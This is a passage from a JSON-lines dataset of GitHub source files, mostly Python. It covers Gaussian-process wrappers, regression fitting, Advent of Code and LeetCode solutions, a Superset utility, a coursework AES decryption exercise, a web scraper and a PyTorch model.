[math.sqrt(kernel['variance'])],\n float(kernel['order']))\n elif kernel['name'] == 'Gaussian':\n self.kernel_function = ot.SquaredExponential(\n kernel['lengthscale'],\n [math.sqrt(kernel['variance'])])\n else:\n self.kernel_function = \"This library does not support the specified kernel function\"\n\n def set_mean(self, mean):\n '''\n This function constructs the mean function\n '''\n\n if mean == 'constant':\n self.mean_function = ot.ConstantBasisFactory(self.input_dim).build()\n elif mean == 'zero':\n self.mean_function = ot.Basis()\n else:\n self.mean_function = \"This library does not support the specified mean function\"\n\n def init_model(self, noise):\n '''\n This function constructs the regression model\n '''\n\n if type(self.kernel_function) == str or type(self.mean_function) == str:\n if type(self.kernel_function) == str:\n print(self.kernel_function)\n if type(self.mean_function) == str:\n print(self.mean_function)\n self.model = 'No model'\n\n self.nugget = noise\n self.kriging_algorithm = ot.KrigingAlgorithm(\n self.x_train, self.z_train, self.kernel_function, self.mean_function)\n self.kriging_algorithm.setNoise([self.nugget] * len(self.x_train))\n\n def optimize(self, param_opt, itr):\n\n if param_opt == 'MLE':\n self.kriging_algorithm.setOptimizeParameters(optimizeParameters=True)\n elif param_opt == 'Not_optimize':\n self.kriging_algorithm.setOptimizeParameters(optimizeParameters=False)\n else:\n return (\"This library does not support the specified Parameter optimizer\")\n\n print(self.kernel_function.getFullParameterDescription())\n print(\"parameter before optimization : \", self.kernel_function.getFullParameter())\n\n self.kriging_algorithm.run()\n\n self.model = self.kriging_algorithm.getResult()\n print(\"parameter after optimization : \\n\", self.model.getCovarianceModel())\n print(\"Nugget\", self.kriging_algorithm.getNoise())\n\n def get_NLL(self):\n lik_function = self.kriging_algorithm.getReducedLogLikelihoodFunction()\n NLL = -lik_function(self.model.getCovarianceModel().getScale())\n return NLL[0]\n\n def predict(self, x_test):\n '''\n This function makes predictions for the test data\n '''\n\n self.x_test = ot.Sample(x_test)\n\n if type(self.model) == str:\n return\n\n self.z_postmean = np.array(self.model.getConditionalMean(self.x_test))\n self.z_postvar = np.sqrt(np.add(np.diag(\n np.array(self.model.getConditionalCovariance(self.x_test))), self.nugget))\n\n return self.z_postmean, self.z_postvar\n","repo_name":"saferGPMLE/saferGPMLE","sub_path":"pkgcomp/pythongp/wrappers/openturns_wrapper.py","file_name":"openturns_wrapper.py","file_ext":"py","file_size_in_byte":4223,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"33946467291","text":"# Import dependencies\nimport numpy as np\nfrom scipy.odr import *\nfrom sklearn import linear_model\nimport matplotlib.pyplot as plt\n\n### ======================\n### Fitting auxiliary weights\n### ======================\n\ndef linearFit(X, y):\n \"\"\"\n Takes a matrix of input data and a vector of output data.\n Tries to map the input data linearly to the output data by\n linear regression.\n\n Returns vector of weights.\n \"\"\"\n # If there is no input data, there is only one weight: a constant that\n # is the mean of the output (target) data\n if len(X) == 0:\n return [np.mean(y)]\n\n lr = linear_model.LinearRegression()\n lr.fit(X.T, y)\n\n # Run the regression.\n return np.hstack([lr.intercept_, lr.coef_])\n\ndef Auxiliaries(X_data, W_sym):\n \"\"\"\n Identifies the weights that need to be fitted and the corresponding data.\n Forewards this to a fitting function.\n\n Input: dataset and symbolic weight Matrix.\n Output: a vector of auxiliary weight_values\n \"\"\"\n w2_num = []\n for n, a in enumerate(np.array(W_sym[:,4:]).T):\n input_data = X_data[:,[bool(w) for w in a[1:]]].T\n output_data = X_data.T[n + 3]\n w2_num += list(linearFit(input_data, output_data))\n\n return np.array(w2_num)\n\ndef stockFit(input_data, output_data, getChange, w_sym):\n \"\"\"\n Takes a matrix of input data and a vector of output data.\n Tries to map the input data linearly to the output data by\n linear regression.\n\n Returns vector of weights.\n \"\"\"\n # Since we cannot estimate the starting weights for the naive models,\n # all initial weights b are set to 0\n b = [0 for n in w_sym]\n real_data = Data(input_data, output_data)\n\n def f(p, q):\n return getChange(*p, *q)\n\n odr = ODR(real_data, Model(f), beta0=b)\n\n # Run the regression.\n return odr.run().beta\n\ndef Stress(X_data, W1_data, w3_sym, getNewStress, alpha):\n \"\"\"\n Does a linear regression equating the current stress value to the stress\n value one timestep later. Effectively minimizing the first order taylor\n approximation\n\n Returns the weights leading to stress\n \"\"\"\n last_w3 = np.array([alpha for x in X_data])\n\n input_data = np.vstack((last_w3.T, X_data.T, W1_data.T))\n output_data = X_data.T[1]\n w3_num = stockFit(input_data, output_data, getNewStress, w3_sym[:-1])\n\n return np.hstack((w3_num, alpha))\n\ndef Weight(X_data, W1_data, w4_sym, getNewWeight):\n \"\"\"\n Does a linear regression equating the current stress value to the stress \n value one timestep later. Effectively minimizing the first order taylor\n approximation\n\n Returns the weights leading to weight\n \"\"\"\n input_data = np.hstack((X_data, W1_data)).T\n output_data = X_data.T[2]\n w4_num = stockFit(input_data, output_data, getNewWeight, w4_sym)\n\n return np.array(w4_num)\n","repo_name":"jj1993/SEGV","sub_path":"fit.py","file_name":"fit.py","file_ext":"py","file_size_in_byte":2847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8138480853","text":"from functools import reduce\n\nf = open('./input.txt')\ncontents = list(f.readlines())\n\ntwice_count = 0\nthrice_count = 0\n\nfor line in contents:\n counts = {}\n\n l_twice = []\n l_thrice = []\n\n for letter in line:\n if not letter in counts:\n counts[letter] = 1\n else:\n counts[letter] += 1\n \n for k, v in counts.items():\n if v == 2:\n l_twice.append(k)\n if v == 3:\n l_thrice.append(k)\n \n if len(l_twice) > 0:\n twice_count += 1\n \n if len(l_thrice) > 0:\n thrice_count += 1\n\nchecksum = twice_count * thrice_count\nprint(checksum)\n","repo_name":"kzabashta/adventofcode-2018","sub_path":"day2/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25168144625","text":"from pandas import DataFrame\n\nfrom superset.constants import PandasAxis\nfrom superset.utils.pandas_postprocessing.utils import (\n _append_columns,\n validate_column_args,\n)\n\n\n@validate_column_args(\"columns\")\ndef diff(\n df: DataFrame,\n columns: dict[str, str],\n periods: int = 1,\n axis: PandasAxis = PandasAxis.ROW,\n) -> DataFrame:\n \"\"\"\n Calculate row-by-row or column-by-column difference for select columns.\n\n :param df: DataFrame on which the diff will be based.\n :param columns: columns on which to perform diff, mapping source column to\n target column. For instance, `{'y': 'y'}` will replace the column `y` with\n the diff value in `y`, while `{'y': 'y2'}` will add a column `y2` based\n on diff values calculated from `y`, leaving the original column `y`\n unchanged.\n :param periods: periods to shift for calculating difference.\n :param axis: 0 for row, 1 for column. default 0.\n :return: DataFrame with diffed columns\n :raises InvalidPostProcessingError: If the request in incorrect\n \"\"\"\n df_diff = df[columns.keys()]\n df_diff = df_diff.diff(periods=periods, axis=axis)\n return _append_columns(df, df_diff, columns)\n","repo_name":"apache/superset","sub_path":"superset/utils/pandas_postprocessing/diff.py","file_name":"diff.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":55269,"dataset":"github-code","pt":"61"} +{"seq_id":"72443292674","text":"import base64\r\nimport hashlib\r\nfrom Crypto.Cipher import AES\r\n\r\ndef get_t():\r\n a = [7,3,1]*2\r\n b = [1,1,1,1,1,6]\r\n return sum([a[i] * b[i] for i in range(6)])%10\r\n\r\n\r\ndef get_key_seed():\r\n mrz_info = '12345678<811101821111167'\r\n sha1obj = hashlib.sha1()\r\n sha1obj.update(mrz_info.encode())\r\n hashed_key = sha1obj.hexdigest()[:32]\r\n print('key_seed:',hashed_key)\r\n return hashed_key\r\n\r\n\r\ndef get_key_enc(key_seed):\r\n sha1_input = bytes.fromhex(key_seed + '00000001')\r\n sha1obj = hashlib.sha1()\r\n sha1obj.update(sha1_input)\r\n key_enc = sha1obj.hexdigest()[:32]\r\n print('key_enc:',key_enc)\r\n return key_enc\r\n\r\n\r\ndef decrypt(key):\r\n ct = '9MgYwmuPrjiecPMx61O6zIuy3MtIXQQ0E59T3xB6u0Gyf1gYs2i3K9Jxaa0zj4gTMazJuApwd6+jdyeI5iGHvhQyDHGVlAuYTgJrbFDrfB22Fpil2NfNnWFBTXyf7SDI'\r\n ct = bytes.hex(base64.b64decode(ct))\r\n cipher = AES.new(bytes.fromhex(key),AES.MODE_CBC,bytes.fromhex('0'*32))\r\n mi = cipher.decrypt(bytes.fromhex(ct))\r\n m = b''\r\n i = 1\r\n while(mi[-i] != 1):\r\n i += 1\r\n m = mi[:-i]\r\n print('mt:',m)\r\n return m\r\n\r\n\r\ndef main():\r\n key_seed = get_key_seed()\r\n key_enc = get_key_enc(key_seed)\r\n key_enc_t = bin(int(key_enc,16))[2:]\r\n key = ''\r\n for i in range(0,len(key_enc_t),8):\r\n if key_enc_t[i:i+8].count('1')%2 == 0:\r\n for j in range(7):\r\n key += str(int(key_enc_t[i+j])^0)\r\n key += str(int(key_enc_t[i+7])^1)\r\n else:\r\n key += key_enc_t[i:i+8]\r\n key_e = hex(int(key,2))[2:]\r\n print('key_e',key_e)\r\n decrypt(key_e)\r\n\r\nmain()\r\n \r\n","repo_name":"Xtims/crypto","sub_path":"WEEK2/w3.py","file_name":"w3.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28856785533","text":"from xml.dom import minidom\n\nimport common\n\ndef to_internal_csv(source_folder, dest_folder):\n csv_string = 'filename,width,height,class,xmin,ymin,xmax,ymax'\n\n markup_file = minidom.parse(source_folder + '/markup.xml')\n annotations = markup_file.getElementsByTagName('annotation')\n \n for annotation in annotations:\n filename = annotation.getElementsByTagName('filename')[0].firstChild.nodeValue\n size = annotation.getElementsByTagName('size')[0]\n width = size.getElementsByTagName('width')[0].firstChild.nodeValue\n height = size.getElementsByTagName('height')[0].firstChild.nodeValue\n objs = annotation.getElementsByTagName('object')\n for obj in objs:\n name = obj.getElementsByTagName('name')[0].firstChild.nodeValue\n bndbox = obj.getElementsByTagName('bndbox')[0]\n xmin = bndbox.getElementsByTagName('xmin')[0].firstChild.nodeValue\n ymin = bndbox.getElementsByTagName('ymin')[0].firstChild.nodeValue\n xmax = bndbox.getElementsByTagName('xmax')[0].firstChild.nodeValue\n ymax = bndbox.getElementsByTagName('ymax')[0].firstChild.nodeValue\n markup_string = ','.join(['images/' + filename, width, height, name, xmin, ymin, xmax, ymax])\n csv_string += '\\n' + markup_string\n\n common.save_file(csv_string, dest_folder + '/markup.csv')\n common.copy_folder(source_folder + '/images', dest_folder + '/images')","repo_name":"RacoonSTR/ORI_Test","sub_path":"src/pascal_voc.py","file_name":"pascal_voc.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5231346743","text":"import csv\nimport codecs\nimport json\nimport os\nimport re\nimport random\nfrom multiprocessing.pool import ThreadPool\n\nfrom time import sleep\n\nfrom box import Box\nimport requests\nfrom bs4 import BeautifulSoup\n\nimport pandas as pd\n\nfrom core.core import HandlersFactory\nfrom core.utils import Utils\n\n\nclass ParseGosRegisterToCSV():\n @staticmethod\n def get_list_page(url, page=0):\n form_data = {'pager-page-index_search-GrObjectsHeadRevisions': page,\n '__RequestVerificationToken': '3pryUOiM7Njcl/5ikr8yzVfluNAZsgo53GgCphJ1Z3aCs5RZStR2q4b aI5ErKV6FktJh2Al54t2TZrYae0ivH9YJpe1DeugE3K4x9XCz/E5h3wK7gTm8uUjDDD X8R2GVuTbPvQL4fcvRcacDeBVuHamoM=',\n 'query-structure-search-GrObjectsHeadRevisions':''}\n with requests.Session() as s:\n s.headers = {\"User-Agent\": \"Mozilla/5.0\"}\n res = s.post(url, data=form_data).text\n soup = BeautifulSoup(res, 'lxml')\n return soup\n\n @staticmethod\n def get_pages_cnt(soup):\n html = soup.find(class_=\"page-selector\")\n return int(html[\"total-pages-count\"])\n\n @staticmethod\n def get_detail_links(soup):\n trs = soup.find('table', id='search-GrObjectsHeadRevisions').find('tbody').find_all('tr')\n urls = []\n for tr in trs:\n tds = tr.find_all('td')\n urls.append(tds[0].find('a').get('href'))\n return urls\n\n @staticmethod\n def get_data(url):\n # sleep(random.randint(4,10))\n non_reak_space = ' '\n res = requests.get(url).text\n soup = BeautifulSoup(res, 'lxml')\n tables = soup.find_all('table', class_='arrange-fields-table')\n data = []\n for table in tables:\n trs = table.find('tbody').find_all('tr')\n for tr in trs:\n tds = tr.find_all('td')\n val = tds[1].text.replace(non_reak_space, '').replace(';', ',')\n data.append(val)\n return data\n\n @staticmethod\n def process(links):\n data = []\n for link in links:\n data.append(ParseGosRegisterToCSV.get_data(link))\n sleep(25)\n return data\n # pool = ThreadPool(3)\n # return pool.map(ParseGosRegisterToCSV.get_data, links)\n\n @staticmethod\n def write_data(fpath, data):\n for row in data:\n with open(fpath, 'a', encoding=\"utf8\") as f:\n writer = csv.writer(f, delimiter=\";\")\n writer.writerow(row)\n\n @staticmethod\n def parse(instance, fpath):\n url = Box(json.loads(instance.srconf)).url\n soup = ParseGosRegisterToCSV.get_list_page(url)\n pages_cnt = ParseGosRegisterToCSV.get_pages_cnt(soup)\n for i in range(10):\n soup = ParseGosRegisterToCSV.get_list_page(url, i)\n links = ParseGosRegisterToCSV.get_detail_links(soup)\n data = ParseGosRegisterToCSV.process(links)\n ParseGosRegisterToCSV.write_data(fpath, data)\n sleep(20)\n\n\n @staticmethod\n def path(srconf, jobconf, dpath):\n name = Box(json.loads(srconf)).name\n data_format = Box(json.loads(jobconf)).data_format\n return os.path.join(dpath, \"{}.{}\".format(name, data_format))\n","repo_name":"elessarelfstone/telecom_pipelines","sub_path":"core/gosreestr_parser.py","file_name":"gosreestr_parser.py","file_ext":"py","file_size_in_byte":4020,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23540651641","text":"fr = open(\"input1.in\", \"r\")\r\nfw = open(\"output1.txt\", \"w\")\r\nt=int(fr.readline())\r\n#t=int(input())\r\nfor i in range(t):\r\n m,n=fr.readline().strip().split()\r\n #m,n=input().split()\r\n n=int(n)\r\n s=[]\r\n sapp=s.append\r\n for j in m:\r\n if(j==\"+\"):\r\n sapp(\"1\")\r\n else:\r\n sapp(\"0\")\r\n l=len(s)\r\n count=0\r\n for j in range(l-n+1):\r\n if(s[j]==\"0\"):\r\n for k in range(j,j+n):\r\n #print(k,s)\r\n if(s[k]==\"0\"):\r\n s[k]=\"1\"\r\n else:\r\n s[k]=\"0\"\r\n count+=1\r\n #print(k)\r\n r=l-j-1\r\n if(s[l-j-1]==\"0\"):\r\n for k in range((l-j-n),(l-j))[::-1]:\r\n #print(k,s)\r\n #print(l-j)\r\n if(s[k]==\"0\"):\r\n s[k]=\"1\"\r\n else:\r\n s[k]=\"0\"\r\n count+=1\r\n #print(k)\r\n #print(m,n)\r\n if(s.count(\"1\")==l):\r\n #print(\"Case #\"+str(i+1)+\": \"+str(count))\r\n fw.write(\"Case #\"+str(i+1)+\": \"+str(count)+\"\\n\")\r\n else:\r\n #print(\"Case #\"+str(i+1)+\": IMPOSSIBLE\")\r\n fw.write(\"Case #\"+str(i+1)+\": IMPOSSIBLE\\n\")\r\n #fw.write(\"Case #\"+str(i+1)+\": \"+str(count)+\"\\n\")\r\nfw.close()\r\nfr.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/1504.py","file_name":"1504.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20254321553","text":"'''\nHarvey Mudd College - CS for All\nProblem Name: Making Change\nTopic: Finding the optimal way to make change using the use-it-or-lose-it recusion paradigm\nLectures: Module 1, Lecture 2\nURL: https://www.cs.hmc.edu/twiki/bin/view/ModularCS1/CS5BlackMasterHWPage\n'''\n\ndef change(amount, coins):\n '''\n Given an amount of money and a list of coin types, returns the\n least number of coins that makes up the amount of money.\n '''\n if amount <= 0 or not coins:\n return 0\n elif coins[0] > amount:\n return change(amount, coins[1:])\n else:\n loseIt = 1 + change(amount, coins[1:])\n useIt = coins[0] + change(amount - coins[0], coins[1:])\n return max(loseIt, useIt)\n\n\nif __name__ == '__main__':\n amount = 48\n coins = [1, 5, 10, 25]\n print(change(amount, coins))\n\n\"\"\"\ndef distance(first, second):\n '''Returns the edit distance between first and second.'''\n\n if first == '':\n return len(second)\n elif second == '':\n return len(first)\n elif first[0] == second[0]:\n return distance(first[1:], second[1:])\n else:\n substitution = 1 + distance(first[1:], second[1:])\n deletion = 1 + distance(first[1:], second)\n insertion = 1 + distance(first, second[1:])\n return min(substitution, deletion, insertion)\n\n# Change the code below to try it out\nprint distance('spam', 'poems')\n\"\"\"","repo_name":"bjaus/CS_for_All","sub_path":"Homework/making_change.py","file_name":"making_change.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72160529154","text":"import tensorflow as tf\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras import Input\nfrom tensorflow.keras.layers import Dense,Embedding\nfrom tensorflow.keras.regularizers import l2\n\nclass FNNModel(Model):\n\n def __init__(self,\n feature_columns,\n hidden_units,\n num_factors,\n embedding_regularizer,\n kernel_regularizer,\n **kwargs):\n super(FNNModel, self).__init__(**kwargs)\n self.dense_feature_columns, self.sparse_feature_columns = feature_columns\n self.linear_embeddings = [Embedding(input_dim=feat['feat_num'],\n output_dim=1,\n input_length=1,\n embeddings_initializer='random_uniform',\n embeddings_regularizer=l2(embedding_regularizer))\n for i, feat in enumerate(self.sparse_feature_columns)]\n self.crossing_embeddings = [Embedding(input_dim=feat['feat_num'],\n output_dim=num_factors,\n input_length=1,\n embeddings_initializer='random_uniform',\n embeddings_regularizer=l2(embedding_regularizer))\n for i, feat in enumerate(self.sparse_feature_columns)]\n self.dnn_layers = [Dense(unit, activation='tanh') for unit in hidden_units]\n self.dnn = Dense(1, activation='sigmoid')\n\n def call(self, x):\n dense_input, sparse_input = x\n linear_embedding = tf.concat([self.linear_embeddings[i](sparse_input[:, i])\n for i in range(sparse_input.shape[1])], axis=-1)\n sparse_embedding = tf.concat([self.crossing_embeddings[i](sparse_input[:, i])\n for i in range(sparse_input.shape[1])], axis=-1)\n stacking = tf.concat([linear_embedding, sparse_embedding, dense_input], axis=-1)\n for layer in self.dnn_layers:\n stacking = layer(stacking)\n y = self.dnn(stacking)\n return y\n\n def summary(self):\n dense_input = Input(shape=(len(self.dense_feature_columns),))\n sparse_input = Input(shape=(len(self.sparse_feature_columns),))\n Model(inputs=[dense_input, sparse_input], outputs=self.call([dense_input, sparse_input])).summary()","repo_name":"coding-raccoon/Recommendation-Algorithm","sub_path":"Code/FNN/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14300079187","text":"#计数排序\n'''\n计数排序的核心在于将输入的数据值转化为键存储在额外开辟的数组空间中。\n作为一种线性时间复杂度的排序,计数排序要求输入的数据必须是有确定范围的整数。\n'''\n\n#https://www.runoob.com/python3/python-counting-sort.html\n\n#官方的,感觉这样做复杂了\ndef countSort(arr):\n output = [0 for i in range(256)] #生成长度为256,默认值为0的数组\n count = [0 for i in range(256)] #生成长度为256,默认值为0的数组\n ans = [\"\" for _ in arr] #生成长度为len(arr),内容为\"\"的数组\n\n # 以arr中内容的ASCII值作为下标放入count中\n for i in arr:\n count[ord(i)] += 1\n for i in range(256):\n count[i] += count[i-1]\n for i in range(len(arr)):\n output[count[ord(arr[i])] - 1] = arr[i]\n count[ord(arr[i])] -= 1\n for i in range(len(arr)):\n ans[i] = output[i]\n return ans\n\narr = \"www.baidu.com\"\nans = countSort(arr)\nj = \"\".join(ans)\nprint(f\"字符串排序之后为:{j}\")\n\n#字典的方式\ndef countSortByDictionary(arr):\n dic = {}\n for i in arr:\n k = str(i)\n if k in dic.keys():\n dic[k] += 1\n else:\n dic[k] = 1\n li = list(dic.keys())\n li.sort()\n for i in li:\n for _ in range(0,dic[i]):\n print(i,end=\"\")\n\narr = \"www.baidu.com\"\ncountSortByDictionary(arr)","repo_name":"Fuqingshan/Python0","sub_path":"练习/计数排序.py","file_name":"计数排序.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25672175297","text":"class cpairs:\n def __init__(self, l, w): \n self.l = l\n self.w = w\n\n def __eq__(self, other): \n if not isinstance(other, cpairs):\n return NotImplemented\n\n return (self.l == other.l and self.w == other.w) or (self.l == other.w and self.w == other.l)\n\n def __hash__(self):\n return hash((self.l, self.w))\n\n def __ne__(self, other):\n # Not strictly necessary, but to avoid having both x==y and x!=y\n # True at the same time\t\n return not(self == other)\n\n\ncache = dict()\n\n\ndef getTotal(l,w):\n\tglobal cache\n\tif(l==w):\n\t\treturn 1\n\tobj = cpairs(l,w)\n\tif obj in cache :\n\t\treturn cache[obj] \n\n\tif(l>w):\n\t\ttotal = getTotal(l-w, w) + getTotal(w,w)\n\t\tcache[obj] = total\n\t\treturn total\n\telse:\n\t\ttotal = getTotal(l, w-l) + getTotal(l,l)\n\t\tcache[obj] = total\n\t\treturn total\n\n\nmin_l = int(input())\nmax_l = int(input())\nmin_w = int(input())\nmax_w = int(input())\n\ntotal = 0\n\nfor l in range(min_l, max_l+1):\n\tfor w in range(min_w, max_w+1):\n\t\t# print(\"({}, {}) = {}\".format(l, w, getTotal(l,w)))\n\t\ttotal += getTotal(l,w)\n\nprint(total)\n\n","repo_name":"murtaza98/Competitive_Programming","sub_path":"InterviewBit-Problem-Solutions/codevita/cadbury.py","file_name":"cadbury.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5086942297","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport pytorch_lightning as pl\n\nfrom torchvision.models import resnet18, ResNet18_Weights\n\nclass VISPaperModel(pl.LightningModule):\n\n def __init__(self, outputSize:int):\n super().__init__()\n self.featureExtractor = resnet18(ResNet18_Weights.DEFAULT)\n self.featureExtractor.fc = nn.Identity()\n\n for param in self.featureExtractor.parameters():\n param.requires_grad = False\n\n self.lstm = nn.LSTM(512, 256, batch_first=True)\n self.clf = nn.Sequential(\n nn.Linear(256, 256), \n nn.Linear(256, outputSize),\n nn.Sigmoid())\n\n def forward(self, stFrames, frame0):\n\n # stFrames: batchx45x224x224x3\n # frame0: batchx224x224x3\n\n stFrameFeatures = []\n for i in range(stFrames.shape[1]):\n currStFrame = stFrames[:,i,:,:,:].squeeze(1)\n currStFrameFeatures = self.featureExtractor(currStFrame)\n stFrameFeatures.append(currStFrameFeatures)\n stFrameFeatures = torch.stack(stFrameFeatures, dim=1)\n\n X = stFrameFeatures\n\n # to include color frame uncomment the following lines\n # frame0Features = self.featureExtractor(frame0).unsqueeze(1).repeat(1, stFrames.shape[1], 1)\n # X = torch.cat([stFrameFeatures, frame0Features], dim=2)\n \n X.detach_()\n # X is the input to the LSTM -> batchx45x1024\n X, _ = self.lstm(X)\n\n out = self.clf(X).transpose(1, 2)\n \n return out\n \n def training_step(self, batch, batch_idx):\n coch, stFrames, frame0, material = batch\n out = self(stFrames, frame0)\n # loss = VISLoss()(out, coch)\n loss = nn.MSELoss()(out, coch)\n self.log('train_loss', loss, on_step=True, on_epoch=True, prog_bar=True, logger=True)\n return loss\n\n def validation_step(self, batch, batch_idx):\n coch, stFrames, frame0, material = batch\n out = self(stFrames, frame0)\n # loss = VISLoss()(out, coch)\n loss = nn.MSELoss()(out, coch)\n self.log('val_loss', loss, on_step=True, on_epoch=True, prog_bar=True, logger=True)\n return loss\n \n def configure_optimizers(self):\n optimizer = optim.Adam(self.parameters(), lr=1e-4)\n return optimizer","repo_name":"Aa-Aanegola/visually-indicated-sounds","sub_path":"src/experiments/PaperModel/VISPaperModel.py","file_name":"VISPaperModel.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32981072077","text":"# Given a collection of distinct integers, return all possible permutations.\n#\n# Example:\n#\n# Input: [1,2,3]\n# Output:\n# [\n# [1,2,3],\n# [1,3,2],\n# [2,1,3],\n# [2,3,1],\n# [3,1,2],\n# [3,2,1]\n# ]\n\n\nclass Solution(object):\n def permute(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n res = []\n res += self.permute1(nums, [])\n return res\n\n def permute1(self, nums, visited):\n if len(visited) == len(nums):\n return [list(visited)] # copy visited\n res = []\n for num in filter(lambda x: x not in visited, nums):\n visited.append(num)\n res += self.permute1(nums, visited)\n visited.remove(num)\n return res\n\n\ns = Solution()\nprint(s.permute([1, 2, 3]))\n","repo_name":"yshshadow/Leetcode","sub_path":"1-50/46.py","file_name":"46.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35715914320","text":"#!pip install pandas\r\n#!pip install requests\r\n\r\nimport json\r\n\r\nperson = {\r\n 'first_name' : 'Mark',\r\n 'last_name' : 'abc',\r\n 'age' : 27,\r\n 'address': {\r\n \"streetAddress\": \"21 2nd Street\",\r\n \"city\": \"New York\",\r\n \"state\": \"NY\",\r\n \"postalCode\": \"10021-3100\"\r\n }\r\n}\r\n\r\n# JSON serialization\r\njson_object = json.dumps(person, indent = 4) \r\n \r\n# Writing to sample.json \r\nwith open(\"sample.json\", \"w\") as outfile: \r\n outfile.write(json_object) \r\n\r\n# Deserialization\r\n# Opening JSON file \r\nwith open('sample.json', 'r') as openfile: \r\n \r\n # Reading from json file \r\n json_object = json.load(openfile) \r\n \r\nprint(json_object) \r\nprint(type(json_object)) \r\n","repo_name":"nolanhacky/HackyHacktober","sub_path":"DataProcessing/json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26259415683","text":"from time import sleep\nfrom appium import webdriver\nimport unittest\nfrom HTMLTestReportCN import HTMLTestRunner\nfrom app.config import ds\n\nclass DS(unittest.TestCase):\n def setUp(self):\n self.des={\"platformName\": \"Android\",\n \"platformVersion\": \"8.1.0\",\n \"deviceName\": \"6286c4da\",\n \"appPackage\": \"com.qk.butterfly\",\n \"appActivity\": \".main.LauncherActivity\",\n \"noReset\": \"true\"}\n self.dr=webdriver.Remote('http://127.0.0 .1:4723/wd/hub',desired_capabilities=self.des)\n def test_1(self):\n sleep(2)\n self.dr.find_element_by_id(\"android:id/tabs\").find_elements_by_class_name('android.widget.RelativeLayout')[-1].click()\n sleep(2)\n self.dr.find_element_by_id('com.qk.butterfly:id/tv_invite').click()\n sleep(2)\n c = self.dr.find_element_by_id('com.qk.butterfly:id/tv_to_share').text\n sleep(2)\n self.assertEqual(c,\"立即邀请\",msg='第一次断言')\n print(\"可以邀请好友\")\n def test_2(self):\n sleep(2)\n self.dr.find_element_by_id(\"android:id/tabs\").find_elements_by_class_name('android.widget.RelativeLayout')[-1].click()\n sleep(2)\n a=self.dr.find_element_by_id('com.qk.butterfly:id/framelayout').find_elements_by_class_name('android.widget.TextView')[0].text\n self.assertEqual(a,\"我的\",msg=\"断言顶部\")\n print('查看顶部字符')\n def test_3(self):\n sleep(2)\n self.dr.find_element_by_id(\"android:id/tabs\").find_elements_by_class_name('android.widget.RelativeLayout')[-1].click()\n sleep(2)\n self.dr.find_element_by_id('com.qk.butterfly:id/v_me_setting').click()\n sleep(2)\n self.dr.find_element_by_id('com.qk.butterfly:id/v_me_grade').click()\n sleep(2)\n b=self.dr.find_element_by_id('com.qk.butterfly:id/tv_ok').text\n self.assertEqual(b,\"确定\",msg=\"确定退出\")\n print('点击确定退出')\n def tearDown(self):\n self.dr.quit()\n\n\nif __name__==\"__main__\":\n # unittest.main()\n ds.report((DS('test_1'),DS('test_2'),DS('test_3')),path_test=r'C:\\开大\\test\\app\\report\\DS.html')\n","repo_name":"Weitao1378116505/bowen1","sub_path":"python/test/app/test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38535706819","text":"#!/usr/bin/env python\n# vim:set fileencoding=utf8: #\n\nimport sys\n\ndepths = list(sys.stdin.readlines())\ndepths = [int(x) for x in depths]\n\ndef part1(depths):\n increases = 0\n for i, d in enumerate(depths):\n\n if i == 0:\n next\n\n if d > depths[i-1]:\n increases += 1\n\n return increases\n\ndef part2(depths):\n increases = 0\n\n for i, d in enumerate(depths):\n\n if i >= 3:\n\n if ((depths[i] + depths[i-1] + depths[i-2]) >\n depths[i-3] + depths[i-2] + depths[i-1]):\n increases += 1\n\n return increases\n\n\nprint('Part 1 Solution: {}'.format(part1(depths)))\nprint('Part 2 Solution: {}'.format(part2(depths)))\n","repo_name":"mhaig/adventofcode","sub_path":"2021/day01/day01.py","file_name":"day01.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5700431636","text":"# SW Expert Academy - 1945번. 간단한 소인수분해\n\nT = int(input())\nprime_nums = [2, 3, 5, 7, 11]\nfor tc in range(1, T + 1):\n N = int(input())\n result = [0] * 5\n # 큰 값부터 시작해서 나머지가 남지 않을 때 까지 값을 줄인다\n for i in range(4, -1, -1):\n while N % 